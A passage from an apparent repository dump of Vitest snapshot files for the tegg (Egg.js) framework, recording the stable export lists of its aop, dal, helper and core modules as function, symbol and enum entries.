[Function],\n  \"RecordConstruct\": [Function],\n  \"RecordDeferred\": [Function],\n  \"RecordFromPattern\": [Function],\n  \"RecordInstantiate\": [Function],\n  \"RecordKey\": [Function],\n  \"RecordOptions\": [Function],\n  \"RecordPattern\": [Function],\n  \"RecordValue\": [Function],\n  \"Ref\": [Function],\n  \"RefInstantiate\": [Function],\n  \"Refine\": [Function],\n  \"RefineAdd\": [Function],\n  \"Required\": [Function],\n  \"RequiredArray\": [Function],\n  \"RequiredDeferred\": [Function],\n  \"RequiredInstantiate\": [Function],\n  \"Rest\": [Function],\n  \"ResultDisjoint\": \"disjoint\",\n  \"ResultEqual\": \"equal\",\n  \"ResultLeftInside\": \"left-inside\",\n  \"ResultRightInside\": \"right-inside\",\n  \"ReturnType\": [Function],\n  \"ReturnTypeDeferred\": [Function],\n  \"ReturnTypeInstantiate\": [Function],\n  \"Script\": [Function],\n  \"String\": [Function],\n  \"StringKey\": \"^.*$\",\n  \"StringPattern\": \".*\",\n  \"Symbol\": [Function],\n  \"TemplateLiteral\": [Function],\n  \"TemplateLiteralCreate\": [Function],\n  \"TemplateLiteralDecode\": [Function],\n  \"TemplateLiteralDeferred\": [Function],\n  \"TemplateLiteralEncode\": [Function],\n  \"TemplateLiteralFinite\": [Function],\n  \"TemplateLiteralFromString\": [Function],\n  \"TemplateLiteralFromTypes\": [Function],\n  \"This\": [Function],\n  \"TransformEnum\": {\n    \"toEnumCase\": \"toEnumCase\",\n    \"toLowerCase\": \"toLowerCase\",\n    \"toUpperCase\": \"toUpperCase\",\n    \"trim\": \"trim\",\n    \"trimEnd\": \"trimEnd\",\n    \"trimLeft\": \"trimLeft\",\n    \"trimRight\": \"trimRight\",\n    \"trimStart\": \"trimStart\",\n  },\n  \"Tuple\": [Function],\n  \"TupleOptions\": [Function],\n  \"Type\": {\n    \"Any\": [Function],\n    \"Array\": [Function],\n    \"AsyncIterator\": [Function],\n    \"Awaited\": [Function],\n    \"Base\": [Function],\n    \"BigInt\": [Function],\n    \"Boolean\": [Function],\n    \"Call\": [Function],\n    \"Capitalize\": [Function],\n    \"Codec\": [Function],\n    \"Conditional\": [Function],\n    \"Constructor\": [Function],\n    \"ConstructorParameters\": [Function],\n    \"Cyclic\": [Function],\n    \"Decode\": [Function],\n    \"DecodeBuilder\": [Function],\n    \"Encode\": [Function],\n    \"EncodeBuilder\": [Function],\n    \"Enum\": [Function],\n    \"Evaluate\": [Function],\n    \"Exclude\": [Function],\n    \"Extends\": [Function],\n    \"ExtendsResult\": {\n      \"ExtendsFalse\": [Function],\n      \"ExtendsTrue\": [Function],\n      \"ExtendsUnion\": [Function],\n      \"IsExtendsFalse\": [Function],\n      \"IsExtendsTrue\": [Function],\n      \"IsExtendsTrueLike\": [Function],\n      \"IsExtendsUnion\": [Function],\n    },\n    \"Extract\": [Function],\n    \"Function\": [Function],\n    \"Generic\": [Function],\n    \"Identifier\": [Function],\n    \"Immutable\": [Function],\n    \"Index\": [Function],\n    \"Infer\": [Function],\n    \"InstanceType\": [Function],\n    \"Instantiate\": [Function],\n    \"Integer\": [Function],\n    \"Interface\": [Function],\n    \"Intersect\": [Function],\n    \"IsAny\": [Function],\n    \"IsArray\": [Function],\n    \"IsAsyncIterator\": [Function],\n    \"IsBase\": [Function],\n    \"IsBigInt\": [Function],\n    \"IsBoolean\": [Function],\n    \"IsCall\": [Function],\n    \"IsCodec\": [Function],\n    \"IsConstructor\": [Function],\n    \"IsCyclic\": [Function],\n    \"IsEnum\": [Function],\n    \"IsFunction\": [Function],\n    \"IsGeneric\": [Function],\n    \"IsIdentifier\": [Function],\n    \"IsImmutable\": [Function],\n    \"IsInfer\": [Function],\n    \"IsInteger\": [Function],\n    \"IsIntersect\": [Function],\n    \"IsIterator\": [Function],\n    \"IsKind\": [Function],\n    \"IsLiteral\": [Function],\n    \"IsNever\": [Function],\n    \"IsNull\": [Function],\n    \"IsNumber\": [Function],\n    \"IsObject\": [Function],\n    \"IsOptional\": [Function],\n    \"IsParameter\": [Function],\n    \"IsPromise\": [Function],\n    \"IsReadonly\": [Function],\n    \"IsRecord\": [Function],\n    \"IsRef\": [Function],\n    \"IsRefine\": [Function],\n    \"IsRest\": [Function],\n    \"IsSchema\": [Function],\n    \"IsString\": [Function],\n    \"IsSymbol\": [Function],\n    \"IsTemplateLiteral\": [Function],\n    \"IsThis\": [Function],\n    \"IsTuple\": [Function],\n    \"IsUndefined\": [Function],\n    \"IsUnion\": [Function],\n    \"IsUnknown\": [Function],\n    \"IsUnsafe\": [Function],\n    \"IsVoid\": [Function],\n    \"Iterator\": [Function],\n    \"KeyOf\": [Function],\n    \"Literal\": [Function],\n    \"Lowercase\": [Function],\n    \"Mapped\": [Function],\n    \"Module\": [Function],\n    \"Never\": [Function],\n    \"NonNullable\": [Function],\n    \"Null\": [Function],\n    \"Number\": [Function],\n    \"Object\": [Function],\n    \"Omit\": [Function],\n    \"Optional\": [Function],\n    \"Options\": [Function],\n    \"Parameter\": [Function],\n    \"Parameters\": [Function],\n    \"Partial\": [Function],\n    \"Pick\": [Function],\n    \"Promise\": [Function],\n    \"Readonly\": [Function],\n    \"ReadonlyType\": [Function],\n    \"Record\": [Function],\n    \"RecordKey\": [Function],\n    \"RecordKeyAsPattern\": [Function],\n    \"RecordValue\": [Function],\n    \"Ref\": [Function],\n    \"Refine\": [Function],\n    \"Required\": [Function],\n    \"Rest\": [Function],\n    \"ReturnType\": [Function],\n    \"Script\": [Function],\n    \"String\": [Function],\n    \"Symbol\": [Function],\n    \"TemplateLiteral\": [Function],\n    \"This\": [Function],\n    \"Tuple\": [Function],\n    \"Uncapitalize\": [Function],\n    \"Undefined\": [Function],\n    \"Union\": [Function],\n    \"Unknown\": [Function],\n    \"Unsafe\": [Function],\n    \"Uppercase\": [Function],\n    \"Void\": [Function],\n  },\n  \"TypeScriptEnumToEnumValues\": [Function],\n  \"Uncapitalize\": [Function],\n  \"UncapitalizeDeferred\": [Function],\n  \"UncapitalizeInstantiate\": [Function],\n  \"Undefined\": [Function],\n  \"Union\": [Function],\n  \"UnionOptions\": [Function],\n  \"Unknown\": [Function],\n  \"Unsafe\": [Function],\n  \"Uppercase\": [Function],\n  \"UppercaseDeferred\": [Function],\n  \"UppercaseInstantiate\": [Function],\n  \"Void\": [Function],\n}\n`;\n"
  },
  {
    "path": "tegg/core/tegg/test/__snapshots__/aop.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should aop exports stable 1`] = `\n{\n  \"ASPECT_LIST\": Symbol(EggPrototype#aspectList),\n  \"Advice\": [Function],\n  \"AdviceInfoUtil\": [Function],\n  \"Aspect\": [Function],\n  \"AspectBuilder\": [Function],\n  \"AspectInfoUtil\": [Function],\n  \"AspectMetaBuilder\": [Function],\n  \"CROSSCUT_INFO_LIST\": Symbol(EggPrototype#crosscutInfoList),\n  \"ClassPointInfo\": [Function],\n  \"Crosscut\": [Function],\n  \"CrosscutAdviceFactory\": [Function],\n  \"CrosscutInfoUtil\": [Function],\n  \"CustomPointInfo\": [Function],\n  \"IS_ADVICE\": Symbol(EggPrototype#isAdvice),\n  \"IS_CROSSCUT_ADVICE\": Symbol(EggPrototype#isCrosscutAdvice),\n  \"NamePointInfo\": [Function],\n  \"POINTCUT_ADVICE_INFO_LIAR\": Symbol(EggPrototype#pointcutAdviceInfoList),\n  \"Pointcut\": [Function],\n  \"PointcutAdviceInfoUtil\": [Function],\n  \"PointcutType\": {\n    \"CLASS\": \"CLASS\",\n    \"CUSTOM\": \"CUSTOM\",\n    \"NAME\": \"NAME\",\n  },\n}\n`;\n"
  },
  {
    "path": "tegg/core/tegg/test/__snapshots__/dal.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should dal exports stable 1`] = `\n{\n  \"Column\": [Function],\n  \"ColumnFormat\": {\n    \"DEFAULT\": \"DEFAULT\",\n    \"DYNAMIC\": \"DYNAMIC\",\n    \"FIXED\": \"FIXED\",\n  },\n  \"ColumnInfoUtil\": [Function],\n  \"ColumnModel\": [Function],\n  \"ColumnType\": {\n    \"BIGINT\": \"BIGINT\",\n    \"BINARY\": \"BINARY\",\n    \"BIT\": \"BIT\",\n    \"BLOB\": \"BLOB\",\n    \"BOOL\": \"BOOL\",\n    \"CHAR\": \"CHAR\",\n    \"DATE\": \"DATE\",\n    \"DATETIME\": \"DATETIME\",\n    \"DECIMAL\": \"DECIMAL\",\n    \"DOUBLE\": \"DOUBLE\",\n    \"ENUM\": \"ENUM\",\n    \"FLOAT\": \"FLOAT\",\n    \"GEOMETRY\": \"GEOMETRY\",\n    \"GEOMETRYCOLLECTION\": \"GEOMETRYCOLLECTION\",\n    \"INT\": \"INT\",\n    \"JSON\": \"JSON\",\n    \"LINESTRING\": \"LINESTRING\",\n    \"LONGBLOB\": \"LONGBLOB\",\n    \"LONGTEXT\": \"LONGTEXT\",\n    \"MEDIUMBLOB\": \"MEDIUMBLOB\",\n    \"MEDIUMINT\": \"MEDIUMINT\",\n    \"MEDIUMTEXT\": \"MEDIUMTEXT\",\n    \"MULTILINESTRING\": \"MULTILINESTRING\",\n    \"MULTIPOINT\": \"MULTIPOINT\",\n    \"MULTIPOLYGON\": \"MULTIPOLYGON\",\n    \"POINT\": \"POINT\",\n    \"POLYGON\": \"POLYGON\",\n    \"SET\": \"SET\",\n    \"SMALLINT\": \"SMALLINT\",\n    \"TEXT\": \"TEXT\",\n    \"TIME\": \"TIME\",\n    \"TIMESTAMP\": \"TIMESTAMP\",\n    \"TINYBLOB\": \"TINYBLOB\",\n    \"TINYINT\": \"TINYINT\",\n    \"TINYTEXT\": \"TINYTEXT\",\n    \"VARBINARY\": \"VARBINARY\",\n    \"VARCHAR\": \"VARCHAR\",\n    \"YEAR\": \"YEAR\",\n  },\n  \"CompressionType\": {\n    \"LZ4\": \"LZ4\",\n    \"NONE\": \"NONE\",\n    \"ZLIB\": \"ZLIB\",\n  },\n  \"DAL_COLUMN_INFO_MAP\": Symbol(EggPrototype#dalColumnInfoMap),\n  \"DAL_COLUMN_TYPE_MAP\": Symbol(EggPrototype#dalColumnTypeMap),\n  \"DAL_INDEX_LIST\": Symbol(EggPrototype#dalIndexList),\n  \"DAL_IS_DAO\": Symbol(EggPrototype#dalIsDao),\n  \"DAL_IS_TABLE\": Symbol(EggPrototype#dalIsTable),\n  \"DAL_TABLE_PARAMS\": Symbol(EggPrototype#dalTableParams),\n  \"DalModuleLoadUnitHook\": [Function],\n  \"DalTableEggPrototypeHook\": [Function],\n  \"Dao\": [Function],\n  \"DaoInfoUtil\": [Function],\n  \"DataSourceDelegate\": [Function],\n  \"DataSourceInjectName\": \"dataSource\",\n  \"DataSourceQualifier\": [Function],\n  \"DataSourceQualifierAttribute\": Symbol(Qualifier.DataSource),\n  \"Index\": [Function],\n  \"IndexInfoUtil\": [Function],\n  \"IndexModel\": [Function],\n  \"IndexStoreType\": {\n    \"BTREE\": \"BTREE\",\n    \"HASH\": \"HASH\",\n  },\n  \"IndexType\": {\n    \"FULLTEXT\": \"FULLTEXT\",\n    \"INDEX\": \"INDEX\",\n    \"PRIMARY\": \"PRIMARY\",\n    \"SPATIAL\": \"SPATIAL\",\n    \"UNIQUE\": \"UNIQUE\",\n  },\n  \"InsertMethod\": {\n    \"FIRST\": \"FIRST\",\n    \"LAST\": \"LAST\",\n    \"NO\": \"NO\",\n  },\n  \"MysqlDataSourceManager\": [Function],\n  \"RowFormat\": {\n    \"COMPACT\": \"COMPACT\",\n    \"COMPRESSED\": \"COMPRESSED\",\n    \"DEFAULT\": \"DEFAULT\",\n    \"DYNAMIC\": \"DYNAMIC\",\n    \"FIXED\": \"FIXED\",\n    \"REDUNDANT\": \"REDUNDANT\",\n  },\n  \"SpatialHelper\": [Function],\n  \"SqlMapManager\": [Function],\n  \"SqlType\": {\n    \"BLOCK\": \"BLOCK\",\n    \"DELETE\": \"DELETE\",\n    \"INSERT\": \"INSERT\",\n    \"SELECT\": \"SELECT\",\n    \"UPDATE\": \"UPDATE\",\n  },\n  \"TABLE_CLAZZ_LIST\": [],\n  \"Table\": [Function],\n  \"TableInfoUtil\": [Function],\n  \"TableModel\": [Function],\n  \"TableModelManager\": [Function],\n  \"Templates\": {\n    \"BASE_DAO\": \"base_dao\",\n    \"DAO\": \"dao\",\n    \"EXTENSION\": \"extension\",\n  },\n  \"TransactionPrototypeHook\": [Function],\n  \"TransactionalAOP\": [Function],\n}\n`;\n"
  },
  {
    "path": "tegg/core/tegg/test/__snapshots__/exports.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should export stable 1`] = `\n{\n  \"AGENT_CONTROLLER_PROTO_IMPL_TYPE\": \"AGENT_CONTROLLER_PROTO\",\n  \"AccessLevel\": {\n    \"PRIVATE\": \"PRIVATE\",\n    \"PUBLIC\": \"PUBLIC\",\n  },\n  \"Acl\": [Function],\n  \"AgentController\": [Function],\n  \"AgentInfoUtil\": [Function],\n  \"BackgroundTaskHelper\": [Function],\n  \"BodyParamMeta\": [Function],\n  \"CONSTRUCTOR_QUALIFIER_META_DATA\": Symbol(EggPrototype#constructorQualifier),\n  \"CONTROLLER_ACL\": Symbol(EggPrototype#controller#acl),\n  \"CONTROLLER_AGENT_CONTROLLER\": Symbol(EggPrototype#controller#agent#isAgent),\n  \"CONTROLLER_AGENT_ENHANCED\": Symbol(EggPrototype#controller#agent#enhanced),\n  \"CONTROLLER_AGENT_NOT_IMPLEMENTED\": Symbol(EggPrototype#controller#agent#notImplemented),\n  \"CONTROLLER_AOP_MIDDLEWARES\": Symbol(EggPrototype#controller#aopMiddlewares),\n  \"CONTROLLER_HOST\": Symbol(EggPrototype#controllerHost),\n  \"CONTROLLER_HTTP_PATH\": Symbol(EggPrototype#controller#http#path),\n  \"CONTROLLER_MCP_CONTROLLER_PARAMS_MAP\": Symbol(EggPrototype#controller#mcp#params),\n  \"CONTROLLER_MCP_EXTRA_INDEX\": Symbol(EggPrototype#controller#mcp#extra),\n  \"CONTROLLER_MCP_NAME\": Symbol(EggPrototype#controller#mcp#name),\n  \"CONTROLLER_MCP_PROMPT_ARGS_INDEX\": Symbol(EggPrototype#controller#mcp#prompt#args),\n  \"CONTROLLER_MCP_PROMPT_MAP\": Symbol(EggPrototype#controller#mcp#prompt),\n  \"CONTROLLER_MCP_PROMPT_PARAMS_MAP\": Symbol(EggPrototype#controller#mcp#prompt#params),\n  \"CONTROLLER_MCP_RESOURCE_MAP\": Symbol(EggPrototype#controller#mcp#resource),\n  \"CONTROLLER_MCP_RESOURCE_PARAMS_MAP\": Symbol(EggPrototype#controller#mcp#resource#params),\n  \"CONTROLLER_MCP_TOOL_ARGS_INDEX\": Symbol(EggPrototype#controller#mcp#tool#args),\n  \"CONTROLLER_MCP_TOOL_MAP\": Symbol(EggPrototype#controller#mcp#tool),\n  \"CONTROLLER_MCP_TOOL_PARAMS_MAP\": Symbol(EggPrototype#controller#mcp#tool#params),\n  \"CONTROLLER_MCP_VERSION\": Symbol(EggPrototype#controller#mcp#version),\n  \"CONTROLLER_META_DATA\": Symbol(EggPrototype#controller#metaData),\n  \"CONTROLLER_METHOD_METHOD_MAP\": Symbol(EggPrototype#controller#method#http#method),\n  \"CONTROLLER_METHOD_PARAM_NAME_MAP\": Symbol(EggPrototype#controller#method#http#params#name),\n  \"CONTROLLER_METHOD_PARAM_TYPE_MAP\": Symbol(EggPrototype#controller#method#http#params#type),\n  \"CONTROLLER_METHOD_PATH_MAP\": Symbol(EggPrototype#controller#method#http#path),\n  \"CONTROLLER_METHOD_PRIORITY\": Symbol(EggPrototype#controller#method#http#priority),\n  \"CONTROLLER_MIDDLEWARES\": Symbol(EggPrototype#controller#middlewares),\n  \"CONTROLLER_NAME\": Symbol(EggPrototype#controllerName),\n  \"CONTROLLER_TIMEOUT_METADATA\": Symbol(EggPrototype#controller#timeout),\n  \"CONTROLLER_TYPE\": Symbol(EggPrototype#controllerType),\n  \"CORK_ID\": Symbol(eventBus#corkId),\n  \"ConfigSourceQualifier\": [Function],\n  \"ConfigSourceQualifierAttribute\": Symbol(Qualifier.ConfigSource),\n  \"ContextProto\": [Function],\n  \"ControllerInfoUtil\": [Function],\n  \"ControllerMetaBuilderFactory\": [Function],\n  \"ControllerMetadataUtil\": [Function],\n  \"ControllerType\": {\n    \"HEADERS\": \"HEADERS\",\n    \"HTTP\": \"HTTP\",\n    \"MCP\": \"MCP\",\n    \"MESSAGE\": \"MESSAGE\",\n    \"MGW_RPC\": \"MGW_RPC\",\n    \"MGW_RPC_STREAM\": \"MGW_RPC_STREAM\",\n    \"SCHEDULE\": \"SCHEDULE\",\n    \"SOFA_RPC\": \"SOFA_RPC\",\n    \"SOFA_RPC_STREAM\": \"SOFA_RPC_STREAM\",\n  },\n  \"ControllerValidator\": [Function],\n  \"Cookies\": [Function],\n  \"CookiesParamMeta\": [Function],\n  \"DEFAULT_PROTO_IMPL_TYPE\": \"DEFAULT\",\n  \"EVENT_CONTEXT_INJECT\": Symbol(EggPrototype#event#handler#context#inject),\n  \"EVENT_NAME\": Symbol(EggPrototype#eventName),\n  \"EggQualifier\": [Function],\n  \"EggQualifierAttribute\": Symbol(Qualifier.Egg),\n  \"EggType\": {\n    \"APP\": \"APP\",\n    \"CONTEXT\": \"CONTEXT\",\n  },\n  \"Event\": [Function],\n  \"EventContext\": [Function],\n  \"EventInfoUtil\": [Function],\n  \"Extra\": [Function],\n  \"HTTPBody\": [Function],\n  \"HTTPContext\": [Function],\n  \"HTTPController\": [Function],\n  \"HTTPControllerMeta\": [Function],\n  \"HTTPControllerMetaBuilder\": [Function],\n  \"HTTPControllerMethodMetaBuilder\": [Function],\n  \"HTTPCookies\": [Function],\n  \"HTTPHeaders\": [Function],\n  \"HTTPInfoUtil\": [Function],\n  \"HTTPMethod\": [Function],\n  \"HTTPMethodEnum\": {\n    \"DELETE\": \"DELETE\",\n    \"GET\": \"GET\",\n    \"HEAD\": \"HEAD\",\n    \"OPTIONS\": \"OPTIONS\",\n    \"PATCH\": \"PATCH\",\n    \"POST\": \"POST\",\n    \"PUT\": \"PUT\",\n  },\n  \"HTTPMethodMeta\": [Function],\n  \"HTTPParam\": [Function],\n  \"HTTPParamType\": {\n    \"BODY\": \"BODY\",\n    \"COOKIES\": \"COOKIES\",\n    \"HEADERS\": \"HEADERS\",\n    \"PARAM\": \"PARAM\",\n    \"QUERIES\": \"QUERIES\",\n    \"QUERY\": \"QUERY\",\n    \"REQUEST\": \"REQUEST\",\n  },\n  \"HTTPPriorityUtil\": [Function],\n  \"HTTPQueries\": [Function],\n  \"HTTPQuery\": [Function],\n  \"HTTPRequest\": [Function],\n  \"HTTPResponse\": [Function],\n  \"HeadersParamMeta\": [Function],\n  \"Host\": [Function],\n  \"INIT_TYPE_TRY_ORDER\": [\n    \"CONTEXT\",\n    \"SINGLETON\",\n    \"ALWAYS_NEW\",\n  ],\n  \"IdenticalUtil\": [Function],\n  \"InitTypeQualifier\": [Function],\n  \"InitTypeQualifierAttribute\": Symbol(Qualifier.InitType),\n  \"Inject\": [Function],\n  \"InjectContext\": [Function],\n  \"InjectOptional\": [Function],\n  \"InjectType\": {\n    \"CONSTRUCTOR\": \"CONSTRUCTOR\",\n    \"PROPERTY\": \"PROPERTY\",\n  },\n  \"LifecycleDestroy\": [Function],\n  \"LifecycleInit\": [Function],\n  \"LifecyclePostConstruct\": [Function],\n  \"LifecyclePostInject\": [Function],\n  \"LifecyclePreDestroy\": [Function],\n  \"LifecyclePreInject\": [Function],\n  \"LifecyclePreLoad\": [Function],\n  \"LifecycleUtil\": [Function],\n  \"LoadUnitNameQualifierAttribute\": Symbol(Qualifier.LoadUnitName),\n  \"MCPController\": [Function],\n  \"MCPControllerMeta\": [Function],\n  \"MCPControllerMetaBuilder\": [Function],\n  \"MCPControllerPromptMetaBuilder\": [Function],\n  \"MCPControllerResourceMetaBuilder\": [Function],\n  \"MCPControllerToolMetaBuilder\": [Function],\n  \"MCPInfoUtil\": [Function],\n  \"MCPPrompt\": [Function],\n  \"MCPPromptMeta\": [Function],\n  \"MCPProtocols\": {\n    \"SSE\": \"SSE\",\n    \"STDIO\": \"STDIO\",\n    \"STREAM\": \"STREAM\",\n  },\n  \"MCPResource\": [Function],\n  \"MCPResourceMeta\": [Function],\n  \"MCPTool\": [Function],\n  \"MCPToolMeta\": [Function],\n  \"METHOD_ACL\": Symbol(EggPrototype#method#acl),\n  \"METHOD_AOP_MIDDLEWARES\": Symbol(EggPrototype#method#aopMiddlewares),\n  \"METHOD_AOP_REGISTER_MAP\": Symbol(EggPrototype#method#aopMiddlewaresRegister),\n  \"METHOD_CONTEXT_INDEX\": Symbol(EggPrototype#controller#method#context),\n  \"METHOD_CONTROLLER_HOST\": Symbol(EggPrototype#controller#mthods#host),\n  \"METHOD_CONTROLLER_TYPE_MAP\": Symbol(EggPrototype#controller#mthods),\n  \"METHOD_MIDDLEWARES\": Symbol(EggPrototype#method#middlewares),\n  \"METHOD_TIMEOUT_METADATA\": Symbol(EggPrototype#method#timeout),\n  \"MetadataUtil\": [Function],\n  \"MethodInfoUtil\": [Function],\n  \"MethodType\": {\n    \"HTTP\": \"HTTP\",\n    \"MESSAGE\": \"MESSAGE\",\n    \"MGW_RPC\": \"MGW_RPC\",\n    \"MGW_RPC_STREAM\": \"MGW_RPC_STREAM\",\n    \"SCHEDULE\": \"SCHEDULE\",\n    \"SOFA_RPC\": \"SOFA_RPC\",\n    \"SOFA_RPC_STREAM\": \"SOFA_RPC_STREAM\",\n  },\n  \"MethodValidator\": [Function],\n  \"Middleware\": [Function],\n  \"ModuleConfigs\": [Function],\n  \"ModuleQualifier\": [Function],\n  \"MultiInstanceInfo\": [Function],\n  \"MultiInstanceProto\": [Function],\n  \"MultiInstanceType\": {\n    \"DYNAMIC\": \"DYNAMIC\",\n    \"STATIC\": \"STATIC\",\n  },\n  \"ObjectInitType\": {\n    \"ALWAYS_NEW\": \"ALWAYS_NEW\",\n    \"CONTEXT\": \"CONTEXT\",\n    \"SINGLETON\": \"SINGLETON\",\n  },\n  \"PROPERTY_QUALIFIER_META_DATA\": Symbol(EggPrototype#propertyQualifier),\n  \"ParamMeta\": [Function],\n  \"ParamMetaUtil\": [Function],\n  \"PathParamMeta\": [Function],\n  \"PromptArgsSchema\": [Function],\n  \"Prototype\": [Function],\n  \"PrototypeUtil\": [Function],\n  \"QUALIFIER_IMPL_MAP\": Symbol(EggPrototype#qualifierImplMap),\n  \"QUALIFIER_META_DATA\": Symbol(EggPrototype#qualifier),\n  \"QualifierImplDecoratorUtil\": [Function],\n  \"QualifierImplUtil\": [Function],\n  \"QualifierUtil\": [Function],\n  \"QueriesParamMeta\": [Function],\n  \"QueryParamMeta\": [Function],\n  \"RequestParamMeta\": [Function],\n  \"SingletonProto\": [Function],\n  \"ToolArgsSchema\": [Function],\n  \"aop\": {\n    \"ASPECT_LIST\": Symbol(EggPrototype#aspectList),\n    \"Advice\": [Function],\n    \"AdviceInfoUtil\": [Function],\n    \"Aspect\": [Function],\n    \"AspectBuilder\": [Function],\n    \"AspectInfoUtil\": [Function],\n    \"AspectMetaBuilder\": [Function],\n    \"CROSSCUT_INFO_LIST\": Symbol(EggPrototype#crosscutInfoList),\n    \"ClassPointInfo\": [Function],\n    \"Crosscut\": [Function],\n    \"CrosscutAdviceFactory\": [Function],\n    \"CrosscutInfoUtil\": [Function],\n    \"CustomPointInfo\": [Function],\n    \"IS_ADVICE\": Symbol(EggPrototype#isAdvice),\n    \"IS_CROSSCUT_ADVICE\": Symbol(EggPrototype#isCrosscutAdvice),\n    \"NamePointInfo\": [Function],\n    \"POINTCUT_ADVICE_INFO_LIAR\": Symbol(EggPrototype#pointcutAdviceInfoList),\n    \"Pointcut\": [Function],\n    \"PointcutAdviceInfoUtil\": [Function],\n    \"PointcutType\": {\n      \"CLASS\": \"CLASS\",\n      \"CUSTOM\": \"CUSTOM\",\n      \"NAME\": \"NAME\",\n    },\n  },\n  \"orm\": {\n    \"Attribute\": [Function],\n    \"AttributeMeta\": [Function],\n    \"AttributeMetaBuilder\": [Function],\n    \"DataSource\": [Function],\n    \"IS_MODEL\": Symbol(EggPrototype#model#isModel),\n    \"Index\": [Function],\n    \"IndexMeta\": [Function],\n    \"IndexMetaBuilder\": [Function],\n    \"MODEL_DATA_ATTRIBUTES\": Symbol(EggPrototype#model#attributes),\n    \"MODEL_DATA_INDICES\": Symbol(EggPrototype#model#indices),\n    \"MODEL_DATA_SOURCE\": Symbol(EggPrototype#model#dataSource),\n    \"MODEL_DATA_TABLE_NAME\": Symbol(EggPrototype#model#tableName),\n    \"MODEL_METADATA\": Symbol(EggPrototype#model#metadata),\n    \"MODEL_PROTO_IMPL_TYPE\": \"MODEL_PROTO\",\n    \"Model\": [Function],\n    \"ModelInfoUtil\": [Function],\n    \"ModelMetaBuilder\": [Function],\n    \"ModelMetadata\": [Function],\n    \"ModelMetadataUtil\": [Function],\n    \"NameUtil\": [Function],\n  },\n  \"schedule\": {\n    \"IS_SCHEDULE\": Symbol(EggPrototype#isSchedule),\n    \"SCHEDULE_METADATA\": Symbol(EggPrototype#schedule#metadata),\n    \"SCHEDULE_OPTIONS\": Symbol(EggPrototype#schedule#options),\n    \"SCHEDULE_PARAMS\": Symbol(EggPrototype#schedule#params),\n    \"Schedule\": [Function],\n    \"ScheduleInfoUtil\": [Function],\n    \"ScheduleMetaBuilder\": [Function],\n    \"ScheduleMetadata\": [Function],\n    \"ScheduleMetadataUtil\": [Function],\n    \"ScheduleType\": {\n      \"ALL\": \"all\",\n      \"WORKER\": \"worker\",\n    },\n  },\n}\n`;\n"
  },
  {
    "path": "tegg/core/tegg/test/__snapshots__/helper.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should helper exports stable 1`] = `\n{\n  \"AbstractEggContext\": [Function],\n  \"AbstractProtoDescriptor\": [Function],\n  \"AppGraph\": [Function],\n  \"ClassProtoDescriptor\": [Function],\n  \"ClassUtil\": [Function],\n  \"ClazzMap\": [Function],\n  \"ContextHandler\": [Function],\n  \"ContextInitiator\": [Function],\n  \"ContextObjectGraph\": [Function],\n  \"EggAlwaysNewObjectContainer\": [Function],\n  \"EggContainerFactory\": [Function],\n  \"EggContextLifecycleUtil\": LifecycleUtil {\n    \"lifecycleSet\": Set {},\n    \"objLifecycleSet\": Map {},\n  },\n  \"EggLoadUnitType\": {\n    \"APP\": \"APP\",\n    \"MODULE\": \"MODULE\",\n    \"PLUGIN\": \"PLUGIN\",\n  },\n  \"EggObjectFactory\": [Function],\n  \"EggObjectImpl\": [Function],\n  \"EggObjectLifecycleUtil\": LifecycleUtil {\n    \"lifecycleSet\": Set {},\n    \"objLifecycleSet\": Map {},\n  },\n  \"EggObjectStatus\": {\n    \"DESTROYED\": \"DESTROYED\",\n    \"DESTROYING\": \"DESTROYING\",\n    \"ERROR\": \"ERROR\",\n    \"PENDING\": \"PENDING\",\n    \"READY\": \"READY\",\n  },\n  \"EggObjectUtil\": [Function],\n  \"EggPrototypeBuilder\": [Function],\n  \"EggPrototypeCreatorFactory\": [Function],\n  \"EggPrototypeFactory\": [Function],\n  \"EggPrototypeImpl\": [Function],\n  \"EggPrototypeLifecycleUtil\": LifecycleUtil {\n    \"lifecycleSet\": Set {},\n    \"objLifecycleSet\": Map {},\n  },\n  \"EggPrototypeNotFound\": [Function],\n  \"ErrorCodes\": {\n    \"EGG_PROTO_NOT_FOUND\": \"EGG_PROTO_NOT_FOUND\",\n    \"INCOMPATIBLE_PROTO_INJECT\": \"INCOMPATIBLE_PROTO_INJECT\",\n    \"MULTI_PROTO_FOUND\": \"MULTI_PROTO_FOUND\",\n  },\n  \"FSUtil\": [Function],\n  \"GlobalGraph\": [Function],\n  \"GlobalModuleNode\": [Function],\n  \"GlobalModuleNodeBuilder\": [Function],\n  \"Graph\": [Function],\n  \"GraphNode\": [Function],\n  \"GraphPath\": [Function],\n  \"IncompatibleProtoInject\": [Function],\n  \"LoadUnitFactory\": [Function],\n  \"LoadUnitInstanceFactory\": [Function],\n  \"LoadUnitInstanceLifecycleUtil\": LifecycleUtil {\n    \"lifecycleSet\": Set {},\n    \"objLifecycleSet\": Map {},\n  },\n  \"LoadUnitLifecycleUtil\": LifecycleUtil {\n    \"lifecycleSet\": Set {},\n    \"objLifecycleSet\": Map {},\n  },\n  \"LoadUnitMultiInstanceProtoHook\": [Function],\n  \"LoaderFactory\": [Function],\n  \"LoaderUtil\": [Function],\n  \"MapUtil\": [Function],\n  \"ModuleConfigUtil\": [Function],\n  \"ModuleConfigs\": [Function],\n  \"ModuleDependencyMeta\": [Function],\n  \"ModuleDescriptorDumper\": [Function],\n  \"ModuleGraph\": [Function],\n  \"ModuleLoadUnit\": [Function],\n  \"ModuleLoadUnitInstance\": [Function],\n  \"ModuleLoader\": [Function],\n  \"ModuleNode\": [Function],\n  \"ModuleReferenceConfigHelp\": [Function],\n  \"MultiPrototypeFound\": [Function],\n  \"NameUtil\": [Function],\n  \"ObjectUtils\": [Function],\n  \"ProtoDependencyMeta\": [Function],\n  \"ProtoDescriptorHelper\": [Function],\n  \"ProtoDescriptorType\": {\n    \"CLASS\": \"CLASS\",\n  },\n  \"ProtoNode\": [Function],\n  \"ProxyUtil\": [Function],\n  \"StackUtil\": [Function],\n  \"StreamUtil\": [Function],\n  \"TeggError\": [Function],\n  \"TimerUtil\": [Function],\n}\n`;\n"
  },
  {
    "path": "tegg/core/tegg/test/__snapshots__/orm.test.ts.snap",
